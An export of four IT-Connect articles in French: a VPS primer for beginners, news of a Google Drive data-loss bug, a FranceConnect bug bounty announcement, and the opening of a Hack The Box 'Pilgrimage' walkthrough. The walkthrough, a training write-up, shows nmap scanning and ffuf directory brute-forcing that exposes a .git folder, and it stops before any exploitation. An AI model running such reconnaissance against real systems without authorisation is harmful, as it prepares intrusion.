# articles

feed_id: https://www.it-connect.fr/?p=70859
title: Les « Serveurs Privés Virtuels » (VPS) pour les débutants
uri: Les-Serveurs-Privés-Virtuels-(VPS)-pour-les-débutants
url: https://www.it-connect.fr/les-serveurs-prives-virtuels-vps-pour-les-debutants/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons parler d'hébergement <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> puisque nous allons aborder la notion de VPS ! Qu'est-ce que c'est ? A quoi ça sert ? Combien ça coûte ? Que peut-on faire avec ? Comment bien le choisir ? De nombreuses questions peuvent se poser et nous allons y répondre.</strong></p>



<ul>
<li><a href="https://youtu.be/801kHtd51r4" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>







<p>En complément de cet article, vous pouvez lire celui-ci :</p>



<ul>
<li>Cloud</li>
</ul>



<h2 class="wp-block-heading">II. Qu'est-ce qu'un VPS ?</h2>



<h3 class="wp-block-heading">A. Définition d'un VPS</h3>



<p>Le terme <strong>VPS </strong>pour "<em><strong>V</strong>irtual <strong>P</strong>rivate <strong>S</strong>erver</em>", ou en français "<strong>Serveur privé virtuel</strong>", désigne un <strong>serveur informatique </strong>prenant la forme d'<strong>une machine virtuelle qu'un fournisseur de services Cloud va mettre à disposition d'un utilisateur</strong>.</p>



<p>Ce n'est pas étonnant que ce soit une machine virtuelle (ou "VM") car dans le terme "<em>Virtual Private Server</em>", il y a <strong>"<em>Virtual Server</em>" que l'on peut traduire par "<em>Serveur virtuel</em>"</strong>. Mais, alors, comment faut-il interpréter le troisième mot : <strong>Private ?</strong></p>



<p>Un VPS est une machine virtuelle avec <strong>des ressources allouées et dédiées pour votre usage</strong> sur laquelle vous pouvez <strong>installer le système d'exploitation et les applications de votre choix</strong>. Autrement dit, vous avez un <strong>contrôle complet</strong> sur le VPS et il est <strong>hébergé sur un environnement isolé</strong>. </p>



<p>Puisqu'il s'agit d'un serveur virtuel et qu'<strong>une infrastructure VPS repose sur la virtualisation</strong>, gardez à l'esprit que <strong>le serveur physique sera partagé avec d'autres utilisateurs</strong>. Ainsi, <strong>un seul et même serveur physique va héberger plusieurs VPS</strong>, tout en allouant des ressources à chaque VPS et en s'assurant de la sécurité, la disponibilité, etc.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img fetchpriority="high" decoding="async" width="800" height="445" src="media/abf2bbc7.Schema-VPS.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS.jpg" alt="Schema VPS" class="wp-image-70960" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS-550x306.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS-150x83.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS-768x427.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-VPS-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading">B. Les avantages d'un VPS</h3>



<p>Le VPS est une solution avantageuse pour plusieurs raisons :</p>



<ul>
<li><strong>Coût abordable</strong></li>
</ul>



<p>Même si le tarif dépend des ressources allouées au VPS, il s'agit d'une solution adaptée à de nombreux projets et accessible à un coût relativement abordable. En termes de coût, de flexibilité et de performances, c'est un bon compromis entre l'hébergement mutualisé (où vous n'avez pas un contrôle complet sur la configuration) et le serveur dédié (serveur physique dédié à un client) qui est plus coûteux. Concrètement, pour moins de 5 euros par <strong>mois,</strong> vous pouvez bénéficier d'un VPS !</p>



<ul>
<li><strong>Performances fiables</strong></li>
</ul>



<p>Avec un VPS, les <strong>ressources sont réservées </strong>(CPU, RAM, disque, etc.), ce qui permet d'avoir <strong>un environnement stable avec un niveau de performance prévisible</strong> bien que ce soit mis à disposition dans un environnement partagé.</p>



<ul>
<li><strong>Personnalisation</strong></li>
</ul>



<p>Un VPS c'est <strong>une coquille vide</strong> mise à disposition par un fournisseur de services Cloud : à vous de <strong>choisir le système d'exploitation</strong> que vous souhaitez installer, d'en effectuer la <strong>configuration</strong>, la <strong>sécurisation</strong> et d'<strong>installer les applications</strong> de votre choix. Vous pouvez personnaliser le VPS à votre guise !</p>



<ul>
<li><strong>Sécurité</strong></li>
</ul>



<p>Chaque VPS est isolé : si le <strong>VPS d'un autre utilisateur est piraté, cela n'affectera pas votre VPS</strong>. C'est important de le préciser. Par ailleurs, si vous avez besoin d'<strong>isoler plusieurs applications </strong>les unes des autres, vous pouvez utiliser<strong> plusieurs VPS distincts</strong>. Puisque vous pouvez personnaliser votre VPS comme bon vous semble, vous pouvez (et devez) le sécuriser, notamment avec des règles de pare-feu et des outils adaptés (CrowdSec, par exemple).</p>



<ul>
<li><strong>Évolutivité</strong></li>
</ul>



<p>Même si ce n'est pas possible chez tous les fournisseurs de service, dans bien des cas, il est possible de <strong>redimensionner un VPS</strong>. Même si cela va impacter le tarif, ceci pourra vous permettre de<strong> bénéficier de plus de ressources</strong> (plus de RAM, par exemple) afin de faire face à une montée en charge de votre activité.</p>



<h2 class="wp-block-heading">III. Que peut-on faire avec un VPS ?</h2>



<p>Le VPS est un choix<strong> populaire et adapté pour de nombreux projets en ligne</strong>, c'est-à-dire pour les services qui ont besoin d'être accessibles depuis Internet. Bien qu'il soit difficile de dresser une liste exhaustive de ce que l'on peut faire avec un VPS, voici quelques exemples...</p>



<ul>
<li><strong>Un site web</strong>, que ce soit un site vitrine, un site de e-commerce (boutique en ligne), ou encore un blog - Parfois, il vaut mieux s'orienter vers un hébergement mutualisé pour ce type de besoin.</li>



<li><strong>Une application SaaS </strong>que vous souhaitez déployer et mettre à disposition de clients / utilisateurs (la solution <a href="https://www.it-connect.fr/installation-pas-a-pas-de-glpi-10-sur-debian-12/" target="_blank" rel="noopener" title="Installation pas-à-pas de GLPI 10 sur Debian 12">GLPI</a>, par exemple).</li>



<li><strong>Le stockage de données ou de sauvegardes</strong> (avec une solution telle que <a href="https://www.it-connect.fr/installer-nextcloud-sur-debian-11/" target="_blank" rel="noopener" title="Installer Nextcloud sur Debian 11">Nextcloud</a>, par exemple)</li>



<li><strong>Un environnement de test</strong>, idéal pour faire des tests divers et variés sans impacter une infrastructure en production</li>



<li><strong>Un serveur de jeu</strong></li>



<li><strong>Un serveur <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a> personnel</strong>, que vous utilisez comme rebond</li>



<li><strong>Un serveur de messagerie</strong></li>



<li><strong>Un Docker </strong>pour exécuter des containers</li>



<li><em>Etc.....</em></li>
</ul>



<p>Vous l'aurez compris, un <strong>VPS peut répondre à de nombreux besoins</strong> : puisque nous avons la main sur le système et les applications, il n'y a pas de réelle limite. Attention tout de même à bien respecter les règles de votre hébergeur.</p>



<h2 class="wp-block-heading">IV. Comment choisir un VPS ?</h2>



<h3 class="wp-block-heading">A. Quels sont les fournisseurs de VPS ?</h3>



<p>La liste de fournisseurs de services Cloud qui proposent des VPS est plus longue que le bras. Cet article n'est pas là pour faire promouvoir un hébergeur plus qu'un autre. Néanmoins, nous pouvons citer quelques noms :</p>



<ul>
<li><strong>OVHcloud</strong></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="231" src="media/40b4b5f5.VPS-OVHcloud.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud.jpg" alt="VPS OVHcloud" class="wp-image-70906" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud-550x159.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud-150x43.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud-768x222.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-OVHcloud-50x14.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<ul>
<li><strong>Infomaniak</strong></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="449" src="media/ba66744a.VPS-Infomaniak.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak.jpg" alt="VPS Infomaniak" class="wp-image-70908" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak-768x431.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Infomaniak-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<ul>
<li><strong>Gandi.net</strong></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="448" src="media/25f1ee2d.VPS-Gandi.net_.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_.jpg" alt="VPS Gandi.net" class="wp-image-70909" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_-550x308.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_-768x430.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Gandi.net_-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<ul>
<li><strong>Hostinger</strong></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="376" src="media/59693a75.VPS-Hostinger.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger.jpg" alt="VPS Hostinger" class="wp-image-70910" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger-550x259.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger-150x71.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger-768x361.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VPS-Hostinger-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<ul>
<li>Scaleway</li>



<li>Microsoft <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/tutos-azure/" target="_blank" rel="noopener" title="Azure" data-wpil-keyword-link="linked">Azure</a></li>



<li>Amazon Web Services (AWS)</li>



<li>Etc...</li>
</ul>



<p>Nous pouvons constater qu'il y a <strong>des hébergeurs français, européens et américains</strong>. Il y a l'embarras du choix.</p>



<h3 class="wp-block-heading">B. Quel est le tarif d'un VPS ?</h3>



<p>Un VPS peut <strong>se louer au mois, voire même à l'heure</strong>, en fonction des fournisseurs de service Cloud. Le <strong>tarif mensuel va dépendre de plusieurs critères</strong>, dont ces 5 caractéristiques principales :</p>



<ul>
<li>Le nombre de cœurs pour le CPU virtuel (vCore)</li>



<li>La quantité de RAM</li>



<li>La quantité de stockage disque et le type de technologie (SSD, disque dur)</li>



<li>Le débit réseau</li>



<li>La localisation, que ce soit dans un datacenter en France ou à l'étranger, cela peut impacter le tarif</li>
</ul>



<p>Au-delà de ses caractéristiques générales, chaque hébergeur peut vous proposer <strong>un ensemble de services et d'options : adresse IP dédiée, la <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/sauvegarde/" target="_blank" rel="noopener" title="sauvegarde" data-wpil-keyword-link="linked">sauvegarde</a>, l'accès à une console d'urgence</strong> (<em>rescue</em>), etc... Si vous souhaitez que l'hébergeur assure la sauvegarde de votre VPS, ceci pourra vous coûter quelques euros en plus par mois (si ce n'est pas inclus dans l'offre de base).</p>



<p>Par exemple, <strong>OVHcloud propose un VPS qualifié de "<em>Best-seller</em>" à 13,80€ TTC par mois</strong> avec les ressources suivantes :</p>



<ul>
<li>CPU : 2 vCore</li>



<li>RAM : 4 Go</li>



<li>Stockage : 80 Go SSD NVMe</li>



<li>Bande passante : 500 Mbit/s illimité</li>
</ul>



<p>Du côté de chez <strong>Gandi.net</strong>, une configuration similaire (en CPU et RAM) est proposée à <strong>18,00€ TTC par mois</strong>. Chez les Suisses d'<strong>Infomaniak</strong>, l'offre de VPS commence à <strong>34,80€ TTC par mois </strong>avec 4 CPU et 12 Go de RAM.</p>



<p><em>Remarque : tarifs donnés à titre indicatif et qui peuvent évoluer à tout moment.</em></p>



<h3 class="wp-block-heading">C. Alors, comment choisir un VPS ?</h3>



<p>Il n'y a pas de réponse toute faite pour répondre à cette question. Commencez par <strong>définir vos besoins en ressources </strong>(RAM, CPU, disque et bande passante), ceci vous permettra de faire un premier tri parmi les offres. Si vous n'êtes pas sûr, regardez dans quelle mesure l'hébergeur permet de <strong>redimensionner votre VPS</strong>.</p>



<p>Ensuite, vous devez <strong>rechercher un hébergeur qui propose le système d'exploitation que vous souhaitez installer</strong>. Concrètement, tous les hébergeurs ne proposent pas du <strong><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a></strong> : il faut tenir compte de cette contrainte. Par exemple, chez Gandi.net c'est limité à quelques distributions <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a>, tandis qu'il y a un choix plus vaste chez OVHcloud et Infomaniak (Linux et Windows).</p>



<p>Vérifiez également<strong> les options de sauvegarde et leur tarif</strong> : à mon sens, c'est un plus qu'il y ait un système de sauvegarde (ou à minima des snapshots, même si ça ne remplace pas les sauvegardes) proposé par l'hébergeur directement. Plus largement, jetez un œil aux<strong> options de sécurité</strong> : à commencer par la présence d'une fonction <strong>anti-DDoS</strong>.</p>



<p>Si vous avez un projet qui implique l'utilisation de plusieurs VPS, vous pouvez louer des VPS chez différents fournisseurs de services Cloud. Ainsi, vous ne mettez pas <em>tous vos œufs dans le même panier</em>, comme on dit. </p>



<p>Enfin, si vous hésitez entre plusieurs offres de VPS : <strong>votre budget</strong> que vous vous êtes fixé vous permettra surement de trancher (<em>sinon demandez de l'aide</em>).</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><strong>Suite à la lecture de cet article, vous en savez beaucoup plus sur la notion de VPS !</strong> Peut-être même que vous allez franchir le pas pour un projet perso ou pro ? N'hésitez pas à commenter cet article pour partager vos expériences avec les VPS, mais également pour poser vos questions.</p><p>The post <a href="https://www.it-connect.fr/les-serveurs-prives-virtuels-vps-pour-les-debutants/">Les « Serveurs Privés Virtuels » (VPS) pour les débutants</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72747
uri: Panique-chez-Google-Drive-des-fichiers-supprimés-soudainement-sans
url: https://www.it-connect.fr/bug-google-drive-fichiers-supprimes-soudainement-novembre-2023/
title:
Panique chez Google Drive : des fichiers supprimés soudainement, sans action de la part des utilisateurs !

content:
<p><strong>C'est la panique chez les utilisateurs de Google Drive ! De nombreux utilisateurs se plaignent d'avoir perdu de nombreux fichiers correspondants aux données stockées sur leur espace de stockage Cloud depuis plusieurs mois ! Que se passe-t-il ?</strong></p>



<p><em>Pour rappel, Google Drive est un service de stockage et de partage de fichiers en ligne à la disposition des utilisateurs de Google. Ce service est accessible aux particuliers, mais également aux professionnels par l'intermédiaire de la suite Google Workspace.</em></p>



<p>Imaginez un instant : vous stockez vos données sur Google Drive, et d'un moment à un autre, <strong>vous perdez vos données récentes et la structure de vos dossiers revient à un état antérieur.</strong> C'est la mésaventure rencontrée par de nombreux utilisateurs de Google Drive, depuis quelques jours. Du côté des utilisateurs, on tire la sonnette d'alarme, car ce "bug" entraine des pertes de données : "<em>Il s'agit d'un problème sérieux qui doit être traité de toute urgence. Nous avons ouvert un ticket d'assistance, qui n'a pas été utile jusqu'à présent.</em>"</p>



<p>Sur les comptes impactés, l'historique des actions récentes ne montre aucune action volontaire de la part de l'utilisateur. Ceci prouve bien que ce ne sont pas les utilisateurs qui ont effectué<strong> une mauvaise manipulation.</strong> Il s'agirait plutôt d'un problème de synchronisation entre les clients Google Drive et les serveurs dans le <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a>.</p>



<p>D'ailleurs, <a href="https://support.google.com/drive/thread/245055606?hl=en&amp;msgid=245673190" target="_blank" rel="noopener nofollow" title="">la réponse de Google</a> que l'on peut lire sur le forum de Google montre que des investigations sont en cours : "<em>Je suis continuellement ce cas et pour être transparents avec vous, nous sommes tout à fait d'accord pour dire que vous n'êtes pas le seul client affecté par ce comportement. [...] Ce problème est actuellement examiné par nos ingénieurs produits et nous attendons d'identifier l'origine du problème pour savoir comment nous pouvons le résoudre.</em>"</p>



<p><strong>En attendant </strong>qu'il y ait une solution apportée par Google, il est préférable de <strong>sauvegarder dès que possible le contenu de votre Google Drive et d'éviter d'apporter des modifications importantes à votre structure de dossiers</strong>. Par ailleurs, vous pouvez fermer le client Google Drive de votre ordinateur pour conserver la copie locale de vos données.</p>



<p><em>Si vous rencontrez ce problème, n'hésitez pas à nous en faire part, et surtout, ouvrez un ticket chez Google.</em></p>



<p><a href="https://www.bleepingcomputer.com/news/google/google-drive-users-angry-over-losing-months-of-stored-data/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/bug-google-drive-fichiers-supprimes-soudainement-novembre-2023/">Panique chez Google Drive : des fichiers supprimés soudainement, sans action de la part des utilisateurs !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72777
title: Si vous hackez FranceConnect, vous pouvez remporter jusqu’à 20 000 euros !
uri: Si-vous-hackez-FranceConnect-vous-pouvez-remporter-jusqu-à-20-000
url: https://www.it-connect.fr/si-vous-hackez-franceconnect-vous-pouvez-remporter-jusqua-20-000-euros/
content:
<p><strong>Le gouvernement français a mis en place un nouveau programme de Bug Bounty pour son système d'authentification FranceConnect, mais également pour AgentConnect. La découverte d'une vulnérabilité peut rapporter jusqu'à 20 000 euros !</strong></p>



<p>Vous connaissez surement <strong>FranceConnect</strong>, le système d'authentification que l'on retrouve sur <strong>différents sites</strong> et qui permet de faciliter la connexion grâce au <strong>SSO</strong> (en l'occurrence via le protocole <em>OpenID Connect</em>). Aujourd'hui, FranceConnect est utilisé par les citoyens français pour <strong>se connecter à des services en ligne publics et privés</strong>, notamment celui <strong>des impôts</strong>. En ce qui concerne <strong>AgentConnect</strong>, c'est un système similaire, mais à <strong>destination des fonctionnaires</strong> pour s'authentifier sur les services gouvernementaux internes.</p>



<p>Dans le but de renforcer la sécurité de ces deux solutions d'authentification, la <strong>direction interministérielle du numérique (DINUM)</strong> a mis en place un programme de Bug Bounty. Autrement dit, il s'agit d'<strong>une chasse aux bugs de sécurité</strong>. C'est une bonne initiative de la part du gouvernement, car<strong> la sécurité de ces deux systèmes d'authentification est cruciale</strong>. S'il y a des vulnérabilités découvertes, elles seront corrigées, ce qui permet d'améliorer la sécurité de la solution.</p>



<p>Si vous <strong>identifiez une faille de sécurité </strong>et que vous parvenez en quelque sorte à hacker FranceConnect, vous obtiendrez une récompense :<strong> jusqu'à 20 000 euros</strong>. Il s'agit de la somme la plus élevée qu'il est possible de gagner grâce à la découverte d'<strong>une faille de sécurité critique qui permettrait de se connecter à FranceConnect avec une fausse identité</strong>.</p>



<p>Comme le montre le tableau ci-dessous,<strong> les récompenses vont de 100 euros à 20 000 euros</strong>, en fonction du service impacté et de la sévérité de la vulnérabilité.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/cb93b2bc.Bug-Bounty-FranceConnect.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect.jpg"><img fetchpriority="high" decoding="async" width="1200" height="460" data-id="72778" src="media/cb93b2bc.Bug-Bounty-FranceConnect.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect.jpg" alt="Bug Bounty FranceConnect" class="wp-image-72778" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect-550x211.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect-800x307.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect-150x58.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect-768x294.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Bug-Bounty-FranceConnect-50x19.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p></p>



<p>Vous pouvez obtenir tous les détails de<a href="https://yeswehack.com/programs/franceconnect-agentconnect-public" target="_blank" rel="noopener nofollow" title=""> ce programme </a>sur le site <strong>YesWeHack qui héberge ce Bug Bounty de la DINUM</strong>. Ce sera l'occasion de lire l'intégralité du règlement et de participer si vous le souhaitez : un certain nombre de ressources sont à votre disposition.</p>



<p>Que pensez-vous de la mise en place de cette chasse aux bugs ?</p>



<p><a href="https://www.01net.com/actualites/hackez-franceconnect-et-remportez-le-jackpot.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/si-vous-hackez-franceconnect-vous-pouvez-remporter-jusqua-20-000-euros/">Si vous hackez FranceConnect, vous pouvez remporter jusqu’à 20 000 euros !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72638
title: Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-Pilgrimage-outils-méthodes-et-re
url:
https://www.it-connect.fr/hack-the-box-resoudre-la-box-pilgrimage-outils-methodes-et-recommandations-pour-se-proteger/

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, je vous propose la résolution de la machine Hack The Box Pilgrimage, de difficulté "Facile".</strong></p>


<div class="wp-block-image">
<figure class="alignright size-large is-resized"><img fetchpriority="high" decoding="async" width="800" height="606" src="media/2e9f8186.Pilgrimage-800x606.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-800x606.png" alt="" class="wp-image-72658" style="width:417px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-800x606.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-550x416.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-768x581.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage-50x38.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Pilgrimage.png 1400w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système<strong>, puis le compte root ou administrateur</strong>. </p>



<p>Ces exercices permettent de s’entraîner<strong> légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs. <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et de ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article. </p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noopener" title="les règles d'HackThebox">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies abordées</strong></td><td>Linux, web, PHP</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, ffuf, GitTools, searchsploit, CVE</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">II. Résolution de la box Pilgrimage</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP de notre cible (10.10.11.219). Commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noopener nofollow" title="nmap">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.219
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/</code></pre>



<p>La surface d'attaque est relativement réduite mais contient tout de même un service d'administration. Nous découvrons notamment l’existence d'un <strong>vhost</strong> valide sur la cible. La commande suivante permet de l'ajouter à notre fichier <strong>/etc/hosts</strong> pour que notre système puisse le retrouver facilement.</p>



<pre class="wp-block-code"><code>$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts</code></pre>



<p>Nous avons donc <strong>deux services exposés</strong>. J'utilise à présent l'outil <a href="https://github.com/ffuf/ffuf" target="_blank" rel="noopener nofollow" title="ffuf">ffuf</a>, qui est un outil d'énumération de fichier/dossier web sous Linux. À l'aide de <em>wordlists</em> (dictionnaires ou listes de mots), je tente de trouver des dossiers ou fichiers valides sur le <strong>vhost</strong> découvert.</p>



<p>Vous l'aurez compris, pour l'attaquant,<strong> l'objectif est dans un premier temps d'obtenir le plus d'informations possible sur sa cible</strong>, avoir une vue exhaustive de tout ce qui constitue la surface d'attaque de sa cible afin de ne manquer aucune porte d'entrée potentielle. Pour en savoir plus sur ce qu'est la surface d'attaque, je vous oriente vers cet article : <a href="https://www.it-connect.fr/analyse-et-reduction-de-la-surface-dattaque/" target="_blank" rel="noopener nofollow" title="Analyse et réduction de la surface d'attaque">Analyse et réduction de la surface d'attaque</a>.</p>



<p>J'utilise notamment l'excellente ressource <a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener nofollow" title="seclist de Daniel Miessler">SecLists de Daniel Miessler</a>, qui contient des tas de <em>wordlists</em> à utiliser en fonction du service à attaquer.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1595/003/" target="_blank" rel="noopener nofollow" title="T1595.003 - Active Scanning: Wordlist Scanning">T1595.003 - Active Scanning: Wordlist Scanning</a></p>



<pre class="wp-block-code"><code>$ ffuf -w $s/Discovery/Web-Content/big.txt -u http://pilgrimage.htb/FUZZ

.git                    &#91;Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 25ms]
.htaccess               &#91;Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 26ms]
.htpasswd               &#91;Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 27ms]
assets                  &#91;Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 20ms]
tmp                     &#91;Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 24ms]
vendor                  &#91;Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 23ms]</code></pre>



